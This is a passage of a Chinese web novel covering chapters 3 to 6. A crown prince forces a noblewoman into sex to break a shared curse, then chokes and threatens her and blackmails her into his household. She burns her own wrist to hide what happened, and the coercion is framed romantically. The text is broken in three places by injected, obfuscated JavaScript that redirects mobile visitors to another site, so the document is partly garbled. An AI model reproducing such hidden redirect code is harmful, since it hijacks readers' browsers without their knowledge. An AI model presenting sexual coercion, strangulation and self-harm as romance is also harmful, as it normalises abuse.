《夺卿入怀》 3. 第 3 章 倏尔,脚步停止。 沈念已被其逼至墙角,她的后背紧紧贴着墙壁,下一刻,没等反应过来,对方竟伸出手扯开她罩在身上的衣物。 “哗啦”一声,身上那件松垮的外衣落地,姑娘胸前再无遮挡,藕荷色的兜衣堪堪遮住身前的丰盈,轮廓饱满,有种说不清的柔情。 “殿、殿下!” 凉意自胸前袭来,宛如一道惊雷辟在头顶,沈念慌乱伸出手遮住那片莹白。 裴争视线捕捉到沈念锁骨下的红梅印记时,眸子眯起,“果然是你。” 简单的四个字,却让沈念心跳漏了半拍儿,从牙缝里哆哆嗦嗦挤出一句话,“殿…殿下何意?” 她害怕裴争,畏惧他的身份权势,就像眼下这般,他想脱她的衣服,没人能挡得住,如果他要她的命呢?恐怕也会尸骨无存。 “何意?” 男人靠近一步,垂眸睥睨着沈念,在闻到她身上的香气时,眼神明显闪过一丝厌恶, “你不是也做那个怪梦,还有锁骨下的印记。” 他下巴微微抬起,满眼的不屑与轻视。 “你是在装作不认识孤么?” 听着男人的话,沈念面容刷地雪白,颤着声音,“你…你也做那个怪梦?” 话音落,空气陷入凝滞,只剩下小姑娘急促的呼吸和凌乱的心跳,男人在身前,闻着那檀香,她竭力压下心中的畏惧。 然,正这时她感到颈间一紧,男人无情掐住她的脖子,“孤竟同你中了情蛊。” “情…蛊?放…放开我……” 沈念推搡着男人的手臂,她张着嘴却无法喘息,挣扎间,从最初的窒息,转变为深沉的闷痛,直到她脸色涨红,变得软绵无力,裴争才适时松开手。 失去钳制,空气猛地窜进喉咙,小姑娘就如同涸辙之鲋得到甘甜的水,贪婪且急切地大口呼吸,却又因呼吸过快引起呛咳。 而男人撩起眼皮,冷冷看着她,唇角露出一丝冷笑, 是戏谑,是嘲讽, 更是不屑一顾。 似乎沈念的命在他面前,就如同蝼蚁一样,渺小不堪,随时可以捏死她。 几息后,沈念呼吸渐渐平稳,开始思考方才对方口中的话。 原来她的怪梦,都是因为裴争口中的情蛊,只是他们二人为何会共中情蛊? 她忽地忆起那日意外后,便怪梦连连,原来是那时中的情蛊。 “殿下,这蛊可有什么解法?” “解法?”裴争淡淡扫视她一眼,眼神之中带着怀疑与审视,“你不知道么?” “臣女不知——” 未等说完话,男人骨节分明的手转而抓住她的手腕,拖拽至床榻,而沈念在他手中,就像是一个提线木偶一样,被提来提去,毫无抵抗力。 裴争脸色沉下去,站在那里如同一张密不透风的大网,将沈念牢牢罩在身下, “月圆之时,圆房解蛊。” “否则,你我皆亡。” 沈念听闻“圆房”二字,浑身如坠冰窖,比此前更加惧怕,她当即跪在地上,求饶道: “不可、殿下,臣女已有未婚夫君,你我若圆房,有违人伦。” “臣女如何对得起他?” 顾不得身上莫名其妙的燥热,她怎能和裴争圆房,若是真这么做,哪里能对得起宋淮之? “你以为孤愿意么?”裴争缓步靠近,羽睫之下满是讥讽,每个字都冰冷到极致,“不圆房都会死,命和清白,选一个。” 男人盯着她,冰凉的目光像是要将她刺穿,言语里透露着厌恶与不耐烦。 “臣女——” 沈念迟疑一瞬, 要命?还是要清白? 眼下被逼至两难境地。 命和清白,二选一。 烛火昏暗朦胧间,站在原地的沈念忽地忆起在江南凄苦的日子,那时她才四岁,沈国公无情抛弃他们孤儿寡母独自回京,承诺不久后便将他们接入京中,然等了半年,却传来他另娶他人的消息。 因父亲抛弃,她的娘亲因长年忧思过度患上咳疾,起初并不严重,直到十岁那年被附近村民视为不详,赶出镇子,被迫生活在城郊破庙。 只是,那荒凉的破庙如何能住人? 瓮牖绳枢,夜里铺盖裹身,与鼠蚁作伴,逢雨时,更凄凉。 若是无娘亲的怀抱,她怕是要被活生生冻死,也正因此,她娘亲的身子每况愈下,好不容易靠着父亲留下来的银钱熬至寒冬。 一日夜里,外头下了好大的雪,榻上的娘亲陆陆续续同她说了好多话, [卿卿活下去,无论如何,都要好好活下去] [不要同娘亲一样爱错人,长大后一定要嫁一个爱自己的,做正妻,不要为人妾室] [卿卿,娘亲不求你大富大贵,只望你一生安稳] [卿卿,定要一生安稳……] 小小的沈念还以为娘亲终于有了力气说话,病情有所好转,熬过冬日,到了来年开春,一切都会好。 夜里她乖乖躺在娘亲身侧,安稳睡去。 那一夜,她伴着娘亲身上的味道入睡,甜甜的,香香的。 但次日清晨醒来后,她却发现娘亲的身体冷冷的,小小的沈念在那一刻忽地意识到自己似乎失去所有,用小手捂着娘亲的脸,脖子,却怎么也捂不热。 依旧是冷冷的。 “娘亲,娘亲……” 到底是孩子,唤数百声娘亲无回应,最终无助地扑在娘亲怀中,嚎啕大哭。 破庙外,光秃秃的枝头落下雪,掉落在地,发出沉甸甸的声响,惊得麻雀四处逃串。 那年冬日,寒冷依旧,什么都变了,又似乎什么都没变,只有沈念永远失去娘亲。 活下去,即使是苟且偷生, 活下去,即使是卑贱不堪, 为何她就如此不幸,惹上太子,还要丟了清白。 …… 思绪如潮,她微微垂眸,仿若失去所有力气,眼下这般境地,面对的是当朝铁诏太子,冷血无情,心狠手辣……她真有选择的权利么? 若是她不愿意,裴争会放过她么? 显然……不会。 沈念知道,男人表面上是将选择权交给她,实则只是想让她乖乖顺从,听话。 上位者的姿态,从来不在于强迫,而在于让人彻底屈服。 更何况,于她来说,在性命面前,清白根本不值一提。 她不想死, 也绝对不能死。 是以,沈念放弃挣扎,缓缓阖上双眼。 裴争见她顺从,步步靠近站于她身前,唯一不变的是眼中的厌恶,就好像在看一件毫无价值的东西,连眼皮都懒得抬起, “想清楚了么?” 檀香浸透四肢百骸,沈念两腿发软,不敢直视裴争的双眸,显然是怕到了极点。 “说话,” 裴争抬手用力捏住她的下颚,逼其与他对视。 沈念身形一晃,话语带着颤抖的尾音, “臣女,要命…” “是个聪明的。” 男人的唇角掠过一抹轻漫笑意,就如同觊觎许久的猎物终于臣服,轻视而不屑。 语毕,他的大手覆上她的肩头,手指缓缓探入衣裙,感受到那份特殊的炙热,沈念身体止不住颤抖着,半掩在长发下的耳根可耻地羞红。 害怕,局促…… 到了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301745|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般境地,即将要发生什么她心知肚明,他身上的檀香似比起初更加放肆,一寸一寸侵入她的身体。 待到那男人解开腰封,小姑娘玉颊泛出红晕,长睫掩住半眸,畏惧与羞意占据心尖,无声地攥紧了指尖。 而裴争却在触碰到沈念身体时,体内的蛊虫像是瞬间得到解药,如同干涸许久的土地逢遇甘露,急切而冲动。 他按耐不住将小姑娘推倒在榻,随后只能听到姑娘的喘/息与呜咽,另一种声音却越来越大。 ******* 这一夜,沈念过得很痛苦,只盯着罗帐上摇摇晃晃的流苏,如同溺在水中的鱼儿,失去所有感知,做到最后她咬紧的唇瓣也忍不住泄/出几声低口今。 裴争没有怜悯她初经人事,又因为没有碰过女人,急躁而莽撞。 她很疼, 很疼—— 世人皆道女子的新婚夜,良宵苦短,圆房一事,更是要相互喜欢的人,才能做的。 可眼下,沈念只恨夜长,只想快点结束,再快一点…… 半个时辰后,裴争终于叫了水。 云屏影暗,却也能见榻上纱笼暖烟,美人衣衫凌乱,几根发丝飘在颊边,双眸湿漉,就像被打碎的美玉,凄美又脆弱。 沈念咬唇忍着身下的疼痛与不适,额头上沁出晶莹的汗珠,长长的睫毛脆弱地颤抖着,就连唇上最后一抹血色也消失不见。 而对方却毫无欢愉后的模样,依旧是冷冷的,淡淡的,仿若此事只是例行公事一样平淡。 裴争起身时,瞥见寝褥上留有血迹,他微微皱眉,语气也带了几分温和, “来人,带她下去。” 门外等候多时的嬷嬷拎着提盒快步进入殿内,留意到榻上姑娘肌肤泛着异常的红晕,加之空气中弥漫的咸腥味,一瞧便知他们二人方才做了什么。 而她心中不忘太子的嘱咐,将盒中的汤药端出,递到沈念面前,垂下眼,“姑娘,快趁热喝了。” 眼前汤药散发着热腾腾的雾气,沈念懂医术,结合眼下这般情形,一瞧便知这是什么药。 她同裴争不过是因为情蛊被迫圆房,若是真的不幸,仅这一次有了他的孩子……她不敢想到时会出多少乱子。 是以,她毫不犹豫饮下了避子汤, 如此,正合心意。 饮完药后,沈念只想快点逃离此处,而就在她刚抬步离开时,身后又传来冷冷的警告, “沈念,此事不准宣扬出去,否则——” 否则,会如何? 裴争并没有说完话,但沈念不用想也知道他的意思,她不过是一个不受待见的庶女,裴争是谁?高高在上的太子殿下,他若是想杀她,就如同捏死一只蚂蚁简单。 “臣女,知道。” 沈念转身后,低头看向空落落的手腕和榻上的落红,守宫砂没了,她失身给当朝太子,若是宋淮之知晓,还会娶她为妻么? 不行,这一切绝对不能让他知晓此事。 抬步时,路过案前,她看到摇曳的烛火,微微一愣,旋即下定决心,拿起案前的烛盏,毫不犹豫烫向自己的手腕。 霎时间,烛火贴向娇嫩的肌肤,先是一阵酥麻,而后便是钻心彻骨的疼,手腕处迅速红肿,起了许多水泡。 然,她只是咬住嘴唇,闷哼一声, “姑娘!” 听到烛台落地和嬷嬷的喊叫,裴争抬眼看过去,只见姑娘浑身颤抖,手腕处红肿着,血混着水泡,明明很疼,却没有流一滴泪水,眼中皆是对深陷泥潭的拼死挣扎。 他没再说什么,只看着沈念若无其事走出去,仿若刚才受伤的人不是她。 裴争眯着眼睛,看向地上的烛台,唇角微微抽动。 4. 第 4 章 宫中宴会未散,沈国公与江氏等人还留在宫中,为不让他们生疑,沈念只好拖着疲惫的身子独自回府。 她绝不能让宋淮之看到她如此狼狈不堪的模样。 回到府中时,她失魂落魄走回屋内,就像是一片即将凋零的叶子,随风飘摇,身下的黏腻,浓烈的檀香,都让她感到无比厌恶…… 守在门外紫苏见到沈念的身影后,揉了揉眼睛,确定不是在做梦后,立时迎上前, “姑…姑娘!您怎回来了?” 她的目光落在沈念的手腕, “这伤……” 这到底发生了什么? 沈念看着手腕处的伤,她只恨不能伤得重一些,让人瞧不出她的守宫砂没了,完完全全掩饰住。 “宴会上不小心烫的。” 姑娘秀眉轻蹙,眼睫轻颤着,说出口的话有气无力,就像一株失了支撑的藤蔓,随时可以瘫倒在地。 “姑娘快进屋!”紫苏皱眉,扶着她进殿,“奴婢这便去寻药!” “紫苏,我想沐浴……” 沈念叫住紫苏,嘴角微微抽动着,她只想洗洗身子,洗去那股独属于裴争的檀香。 “可是姑娘,这伤……” 姑娘的手腕处已血肉模糊,她的肌肤本就娇嫩细腻,平日里只是轻轻磕碰都会泛起淤青,要好几天才能消散,更别说此时手腕上可怖的烫伤。 紫苏脸色凝重,可看着沈念的样子也并没有再说什么,她家姑娘一直以来做事都有她的道理,今日明显反常。 但,她相信她家姑娘自有分寸。 “姑娘,奴婢这便去准备。” ***** 几息后,紫苏备好热水,沈念进了湢室,褪下身上那件早已脏乱的衣裙,躺进浴桶。 姑娘浓墨色的秀发披散在身后,如玉般的脸颊带着晶莹的水珠,宛若出水芙蓉。 周身雾气缭绕,澡水如丝绸般抚过寸寸肌肤,她用手指使劲揉搓着颈间,胸前,胳膊……想洗去裴争身上的檀香,庆幸他没有留下痕迹。 她用力揉搓着,一遍又一遍, 不放过身体每一处,被裴争碰过的每一处。 心里只有一个念头,很脏…… 檀香很脏,被裴争碰过的肌肤都很脏。 她要洗干净,要把自己洗干净。 一遍不够,完全不够,她洗了一遍又一遍。 随着她的动作,水发出淅淅沥沥的声响,扬起的水珠落在姑娘的发梢,脸颊,湿漉漉的。 下一时,她不小心触碰到手腕的伤口,疼痛感霎时间涌了上来,薄唇更是隐隐泛白,一颗颗汗珠顺着鬓边流下,落在颈窝打了个旋,那点湿润泛着淡淡的光泽。 疼,可她能忍, 绝不会因为这点疼痛,而哭泣。 她时刻谨记,眼泪是最不值钱的东西。 这股疼痛反而让她更加清醒,思考眼下的处境,一切发生的都太过于突然,裴争,情蛊,没了清白,还要月圆之日再次与裴争圆房。 可她知道,裴争看向她的神情是厌恶的,他是高高在上的太子殿下,怎会与她一个外室女纠缠不清? 何况即使太子纳她为妾,她也绝不会妥协,她这一生绝对不会为人妾室。 所以,此事绝对不能暴露,她要嫁的人是宋淮之,只能是宋淮之。 沐浴后的沈念晕晕乎乎躺回榻上,许是因为受惊过度,不知不觉竟发了高热,幸亏紫苏心细,发现及时,人才得以安然无恙。 除去风寒带来的不适,还有身下如撕裂般的疼痛,夜里,她梦到在江南被欺负的日子,村民打骂,娘亲气息奄奄躺在榻上,接着又转入另一个更为可怕的噩梦。 裴争—— 她梦到男人居高临下站在那里,幽暗烛火之下,那双狭眸盯着她,仿若一只蛰伏许久的猛兽。 接着他的大手毫不留情扯下她的兜衣,将她的尊严一遍遍踩在脚下践踏。 看向她的眼神,只有冷漠。 疼痛,厌恶, 越来越麻木。 ******** 太子府,书房。 夜晚的凉风吹起,月色透过纱窗落在地上,洁白无瑕。 裴争阖着双眸端坐在案前,发觉沈念身上的特殊香气萦绕在周身,经久不散。 而那香总是勾得他想起与少女圆房时的场景,细腻的肌肤,莹白的小腿……还有被衾上鲜红的血迹。 他虽未经人事,但也知道那是女子初夜的落红,那是她的第一次。 还有她身上的异香…… 初闻那香时,他厌恶至极,后来却发现那香似能让他心平气和,多年的寒疾在一瞬间得到良药,抚去那份躁意转而清明了 厌恶之余,倒是觉得有趣。 不仅人有趣,身上的香更有趣。 “查清楚了么?” 沉寂的殿内,响起男人漫不经心的声音。 站在一旁的侍卫长戈,上前禀告道:“殿下,属下查到沈姑娘没回京前是在江南——” “江南……” 裴争口中重复这此二字,低沉的嗓音中透着隐隐的不悦。 是愤怒,亦是杀气。 他的手紧紧攥成拳头,因太过于用力而骨节泛白。 几息后,他脸色沉下来,不带有任何感情道:“开窗,燃香。” 长戈听到吩咐后立即照做,结束后回到原地,看着当今太子殿下,微微出神。 男人沐浴后,一件松松垮垮的玄色寝衣罩在身上,他的脸一半被月光映得圣洁无瑕,另一半在黑暗之中可怖而凶恨,只坐在那里,周身散发的寒气,就让人瑟瑟发抖。 只是今日的太子殿下明显不太一样,除眼梢潋滟着薄红外,就连神情也带着几分未褪尽的餍足。 片刻后,殿门被人推开,太医缓步进入殿中,恭谨行礼, “臣见过殿下。” 闻言,裴争睁开眼,而窗棂恰巧此时被风吹得合上,空气在瞬间凝滞,压迫感油然而生。 长戈吓得屏息凝神,像木头人一样,一动不敢动。 几息后,裴争搓着玉扳指, “她,确实可解孤的蛊毒。” 太医摸了摸下巴,若有所思道:“若真是如此,那臣可以断定,殿下应是与那名女子共中情蛊。” “敢问殿下,那女子可在身侧?” 接着他又小声嘀咕一句, “解药还是留在身侧为好。” 闻言,裴争的目光落在太医身上,唇角动了一下,“你的意思是,要孤把她养在身侧么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301746|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太医低下头,“殿下,此情蛊具体情况,尚未可知,还是要将那姑娘留在身侧,以备不时之需为好。” 语毕,时间仿若陷入静止,裴争坐在那里一声不吭,殿内便无人敢出言打破这份死寂。 下一刻,案前的灯芯忽明忽暗,发出“噼啪”声,屏风上的人影也随之摇晃。 而裴争似被声响惊动,他沉静而清冷的眸子扫过身前的太医,眸底翻涌着晦暗不明的情绪, “孤知道了。” ****** 京城的秋日总是来得早,不过两日已彻底寒凉,沈念因惹了风寒畏凉,早早换上秋衣,身子好转后,宋淮之多次来探望,有他在身侧,她才渐渐稳定。 初秋的暖阳落在窗边,姑娘身披罗裳坐在窗边翻看书卷,光落在她身上,金灿灿的,更衬其容貌绝世。 尤是那双杏眼,像枝头烂漫盛开的梨花,让人挪不开眼。 “姑娘,姑娘!”紫苏脚下生风,行至门槛处还不慎绊了一跤,摇摇晃晃跑进殿内。 带起的风吹动姑娘额间的碎发,紫苏这丫头自她入府起便跟在她身侧,哪哪都好,唯独这毛毛躁躁的性格。 沈念拧着眉头,放下书卷,水盈盈的眸子轻转,“紫苏,你急什么?” 紫苏抚着胸口,缓了几口呼吸,断断续续道:“姑……姑娘,大事!天大的事!” “……” 沈念垂下眼眸,没理紫苏,继续看着手中书卷,“说说,什么大事?” 她这般样子不是第一次,上次也是这般急匆匆入殿,口中嘟囔着大事,天大的事,她还以为是什么天崩地裂的大事,结果一问, 她口中的大事竟然是南城的酒楼换了招牌菜。 “南城的酒楼是将你的炙鸭换了,还是酿鸽换了?” “姑娘!”紫苏头晃得跟拨浪鼓似的,“非也非也,是您,京城眼下都是关于您的传言!” “传言?何传言?”沈念眼皮突突一跳,心中疑惑不解,“说来听听。” “也没什么,只是传姑娘神医降世,医术精湛罢了。”紫苏憨憨笑着,她虽不知传言从何而来,但只要是对她家姑娘好的传言,便不足为惧。 医术精湛—— 沈念手指攥紧书卷一角,她会医术一事,除了沈府并无外人知道,怎会传到外面去?何况她从未这在外人面前说过她会医术一事。 怪哉, 到底为何会传出去? “紫苏,你是从何听说的?” “大街上啊,都在传呢!”紫苏眉开眼笑,“他们都在说姑娘的好话呢!已经有两日了,不过最近越传越神,我才同姑娘说的。” 听着紫苏的话,沈念眉头不自觉蹙了起来,此事蹊跷,到底是何人将此事传出去的?又有何目的? 思绪越来越乱,这时恰逢殿外有小厮前来禀告,“姑娘,公爷传您去前殿见客,还请姑娘快快跟奴前去。” 沈念这才回过神,眼神微微皱起,心中更加疑惑了,她同父亲关系僵持,多年说话的次数屈指可数,今日竟传唤她前去见客。 良久,她收拾完便跟着小厮来到了正殿,她一路上都在疑惑到底是何人能让她父亲传唤她去见。 她在心中笃定, 这贵客身份,非富即贵。 5.第 5 章 青石板路上,姑娘迈着不疾不徐的步子,和煦的日光落在她身上,变成淡淡的,圆圆的光晕,足以让万物失去颜色。 不久后,府中小厮引着她迈入正殿,沈国公与贵客双双坐在殿中,耳畔还传来江氏笑声,足以见得客人之重,能让父亲与江氏及府中众人招待。 沈念按着礼数,低着头上前拜见,“女儿见过父亲!” 沈国公看着眼前礼数周全的沈念,眼中暗暗流露出几分欣慰,笑道:“阿念啊,快来见过太子殿下! “?!” 太、太子殿下! 沈念惊讶抬眸,耳畔似有惊雷闪过,对上那人的视线时,只见他唇边挂着玩味的笑意,黑眸在一瞬间闪过只有她能看懂的警告。 噩梦……那夜他给她带来的痛苦再次浮现,只觉有一股寒意爬上脊背,手不易察觉地颤抖着,就如同见到洪水猛兽,畏惧他的一切。 他怎会来到沈府? 缓过神后,她压下心中的慌乱,盈盈一礼,“臣女,见过太子殿下。” 只是,无人发觉她已被冷汗浸湿了后背。 “起来,” 裴争淡淡一句,而后目光便落在沈念身上细细打量,小姑娘在见到他后,脸色明显变得惨白如纸,即使她在极力忍下心中的畏惧,可也难逃他的法眼。 她就像一只受惊的兔子,惊慌而无措。 原来她还在害怕他啊, 真是有趣。 想到这里,裴争眼睫垂下,薄唇轻勾,起了玩弄心思。 “谢……太子殿下。” “沈姑娘——” 裴争的手指轻轻转动,把玩着茶盏,声音轻描淡写,“你,不必对孤如此客气。” 此言一出,在场所有人皆屏息凝神,沈国公与江氏皆在暗自揣摩太子殿下话里的意思,却不敢搭话。 他今日突然来到沈府已是怪事,居然还对沈念特殊相待,说出那般让人费解的话。 沈念一时心跳如擂鼓,袖口下的手指紧紧攥着,她不知道男人今日来府上有什么目的,但再次见到那熟悉的面容,那夜的场面一幕幕强行涌入脑海。 她厌恶,畏惧到了极致。 却又不得不因为他的地位,权势,与他虚以委蛇, “殿下,臣女——” “沈大人有所不知,孤患有一顽疾,太医们对此皆束手无策。”裴争打断沈念的话,冰冷的目光落在沈国公身上,满是压迫。 沈国公听着裴争的话,亦皱起眉头,暗暗叹气,“哎,真是苦了殿下,这顽疾……” “孤甚被顽疾所累,几日前听闻沈家小姐医术精湛,于是特来府上求、医。” “不知沈姑娘可否为孤瞧瞧,这病能医否?” 听到这话,沈念在一瞬间恍然大悟, 忽想起紫苏同她提及的传言,原来是裴争做的手脚。 一听裴争要让沈念治顽疾,沈国公提起袖口擦了擦额间的冷汗,“殿下,小女哪里会什么医术,不过是一些皮毛,若是误了殿下的身体,我沈家有大罪啊!” “是啊是啊,殿下,她哪里会什么医术,殿下身体重要。” 江氏在一旁附和沈国公的话,即便她往日再讨厌沈念那个小贱蹄子,此时也为她说起了话,毕竟诊治太子殿下是大事,若是出了事,可要满门抄斩。 她可不想因为贱人的女儿,搭上自己的命。 “沈大人还真不了解自己的女儿。”裴争将手中的茶盏放在桌案上,“咣当”一声响,空气瞬间凝滞,一股寒气自周身慢慢侵蚀,蔓延至四肢百骸。 “殿下!”沈国公眉头紧锁,转身呵斥沈念,“逆女,你……你还不赶紧退下!莫要在此处丢人现眼!” 面对沈国公突如其来的训斥,沈念愣在原地,随后只见男人脸色沉下来,眸子阴鸷得渗人, “孤让她试试,何人敢拦?” “沈国公是在违抗孤的命令么?” 沈国公同江氏跪在地上,求饶道:“臣不敢,还请殿下息怒。” 他生气了…… 男人眯起眼眸,坐在那里居高临下地看着他们所有人,声音冷得像是淬了冰。 森然如同地狱中爬出的厉鬼。 有那么一瞬间的错觉,沈念仿若看到了他眼中的杀气,宛若深渊,寒意随之蔓延,所有人皆无处可逃。 “父亲,”她上前一步,将沈国公护在身后,被逼迫如此境地,她只好顺着男人的意,哪里还敢违抗?还能违抗? “殿下,那…臣女先给殿下诊脉。” 得到满意的答案,裴争神情稍缓和,饶有兴致地看着眼前的沈念,伸出手腕。 沈念取出干净的帕子,放置裴争的手腕上,纤纤玉手搭其上,屏息凝神。 姑娘仍是碧绿色衣裙,衣袖轻掀,熟悉的梅香扑面而来,裴争缓缓阖上双眼,平心静气,格外舒畅。 此香似乎能将他心中所有的不悦一扫而净,甚至可以抚平急躁。 几息后,沈念缩回手,正想开口说话,却被男人抢先一步, “如何?孤这顽疾你能治么?” “臣女——” 沈念顿了顿,抬眸对上男人的视线,他神色慵懒靠着椅背,嚣张之中带着几分不屑,对着她轻蔑地勾了勾唇,仿若一切在掌握之中。 一个漫不经心,一个心惊胆战, 他今日来的目的,就是这个么? 思及此,她心口起伏,紧紧攥住了手,咬着后槽牙道:“殿下,臣女能治。” 男人哪里有什么病,分明身体康健,壮如牛,这莫须有的病,她能治要治,不能治也要治。 裴争高高在上睨着她的反应,盯了片刻,他低笑一声,“好,既然你能治,那便入太子府的藏药局当个侍医,为孤治疗顽疾。” 什么? 沈念猛然抬头,瞳孔骤缩,只觉得脑袋中“嗡”的一声响,裴争竟然让她入太子府! 他这是要将她困在身侧。 小姑娘愣在原地,手指揪着衣物,一连打了好几个寒战。 相比于沈念,沈国公率先反应过来,拉着她急急跪在地上,哀求道:“殿……殿下三思!小女自幼不学无术,行事顽劣不堪,哪里有能力为殿下治顽疾?还请殿下另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304124|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻他人!莫要让此逆女丢了臣的脸,误了殿下的身体!” 沈国公的话句句如刺,无情扎入沈念的心,她睫毛微微颤动着,霎时间羞愤交加,眼中的光彩一点点黯淡下去,好似掉进冰窟,从头冷到脚。 她原以为刚刚她的父亲极力相护,是因为他们之间仅有的亲情,哪怕只有一点,也是父亲在护着她。 眼下她终于明白,父亲只是怕她连累沈府罢了。 十年的寒冰在她以为终于要融化几分时,却在那么一瞬间突然转变,结了一层更厚的,更冻人的冰霜。 没有亲情,一点也没有, 十年前就是她一个人面对所有,如今依旧。 江氏站在一旁,听到此事心中有了其他盘算,与刚刚不同,沈府如今比不得往日,她想着若是沈念真的入了太子府的藏药局,日后便是能同太子搭上话。 更何况,太子之命,他们怎能违抗? 是以,江氏拉了拉沈国公的衣袖,小声劝说道:“公爷,这太子殿下看中阿念是好事……” 沈国公没理江氏,只言辞恳切求着高位之上的太子,“殿下三思!” “三思?”裴争饮了口茶,并没有给沈国公和江氏一个眼神,只搓着手中的玉扳指,目光沉沉,“沈念,你可愿入孤的藏药局。” 说完这话,男人才抬眸看向她,深邃的眸中,充满野心,占有,对此事势在必得。 并不是在问她,而是肯定的语气, 好似确信沈念一定会应他。 沈念迎上他的视线,感觉从头到脚一阵寒意,原来他散布传言就是为了把她正大光明弄到太子府。 她有些害怕地咽了口吐沫, 不,她不想入太子府做劳什子的侍医, 她有强烈的预感,那太子府就如同一张密不透风的大网,若是进去,想出来怕是难上加难。 那是裴争特意织起的网,在等着她心甘情愿跳入。 不行,清白已经没了, 她不能再没了自由。 她绝对不能入太子府,成为困在牢笼中的鸟儿。 “殿下臣女,不——” 而就在她“不”字刚说出口时,忽地瞧见裴争慢悠悠从袖口取出一香囊,并似故意般将香囊示给她看。 沈念额间的冷汗顿时下来了,那正是她送给宋淮之的,绝不会看错,上面是她亲手缝制的“淮”字,竟被裴争抢了去! 他这是在威胁她么? 是在用宋淮之的命威胁她么? 那双眸子透露的阴寒似在告诉她,如若不答应,他虽不能动沈家分毫,但可以随时要宋淮之的命。 小姑娘胆怯地望着他,水盈盈的眸子盯着他手中的香囊,裴争唇角轻挑,满眼轻视, “沈姑娘要思虑清楚,再回答孤。” “毕竟,机会只有一次。” 裴争又一次将她逼至两难境地,再一次将选择权交在她手中。可是她真的能选么?真的可以由自己选么? 正殿内的所有人都被一股无形的力量压迫着,他们的视线皆聚集在沈念一人身上,等待着她的回答。 6.第 6 章 而此时的沈念就如同被置于烤架之上,反复炙烤,显而易见,男人是在拿她的软肋 威胁。 一边是宋淮之,一边是无尽的深渊。 而她却别无选择。 是以,她用力攥了攥手,声音轻飘飘的有些颤抖,“殿下…臣女愿试一试。” 她必须要宋淮之活着,哪怕身陷囹圄,也要让她的未婚夫君安然无恙。 “阿念!”沈国公看着身侧沈念应下此事,袖口之下他的双手攥紧拳头,而后又想起依她的性子,再多说无益,最终只化作一声叹息。 小姑娘跪在那里,双手无力地垂在身侧,就像是一只落入猎人网中的兔子,一副柔弱不堪的可怜模样。 然,她那双眼眸却满是倔强,不肯向任何人低头。 裴争望着她,凝眉嗤了一声,“沈姑娘的选择总是让孤满意。” 他特意加重“总是”二字,是在刻意提醒沈念,他们之间发生了什么,她到底该如何选择。 “谢殿下夸赞。”沈念的目光再次落在裴争手中的香囊,那是她特意为宋淮之缝制的贴身之物,实在不宜落在外人手中,必须讨回来。 她刻意压低声音,眼睫低垂,“殿下手中香囊中的香料对顽疾有害,还是不要佩戴为好。” 裴争哪里不知小姑娘此话的意图是什么,不过一个香囊而已,利用后便毫无价值,她竟然还当个宝贝似的同他提起。 他盯着她的眼中充满戏谑,满不在乎将手中的香囊扔在桌案上, “既如此,那便送给沈姑娘当做见面礼。” “幸好沈姑娘答应孤了,不然这香囊可是要被孤粉身、碎骨。” 闻言,沈念脑中嗡嗡作响,牙缝里哆哆嗦嗦挤出一句话,“臣女,多谢殿下!” 沈国公听不懂两人话里的意思,只暗自发愁沈念入太子府一事,而一旁的江氏则在暗自窃喜,盘算着该如何为自己的儿子谋前程。 “孤回太子府等你,”裴争站起身,瞥见被他吓得脸色惨白的沈念,散漫扬眉,拖着长长的腔调,“沈姑娘,今日便来吧。” 男人起身,扬起玄色锦袍,熟悉的檀香扑面而来,沈念看着他离去的背影,想起那荒唐的一夜,掌心沁出一层冰冷的汗。 恐惧,厌恶, 心中一片悲凉。 难以忘却的恐惧,弥散在空气中,包裹在沈念周身,牢牢将她困住。 他是高高在上的太子,而她凭何能反抗?只有顺从,任他拿捏。 裴争走后,沈念匆忙告退,正殿此时只剩下发愁的沈国公和眉飞色舞的江氏。 沈国公在殿内踱步,叹息一声接着一声,“这该如何是好?” 江氏坐在椅子上,舒展腰身,淡淡道:“什么如何是好?阿念入太子府,此后便是有了太子这个靠山,多好的事。” “妇人之见,这哪里是什么好事?” 沈国公接连叹息。 先不说他在朝堂上从不站队,不偏不倚只忠于陛下,而如今陛下对太子多有忌惮,若是因此事再对沈家有所提防,他还如何救沈家? “这怎么不是好事?” 沈国公太阳穴突突一跳,眉头久久未能舒展,“你说这太子殿下为何偏偏要阿念入宫?” “他莫不是看上阿念了?” 想到这里,沈国公忽地脸色大变,耳边一阵嗡鸣。 江氏放声大笑,“沈闲庭啊沈闲庭,你以为你的女儿是什么香饽饽?人人都想吃一口?” “且不说她身份不配,”她声音慢慢放轻,“谁人不知太子殿下不近女色?你女儿凭什么能入殿下的眼?” 江氏的话不无道理,沈国公脸色稍有缓和,眼神之中流露出不易察觉的怜惜,小声嘀咕道:“哎,阿念……” ******* 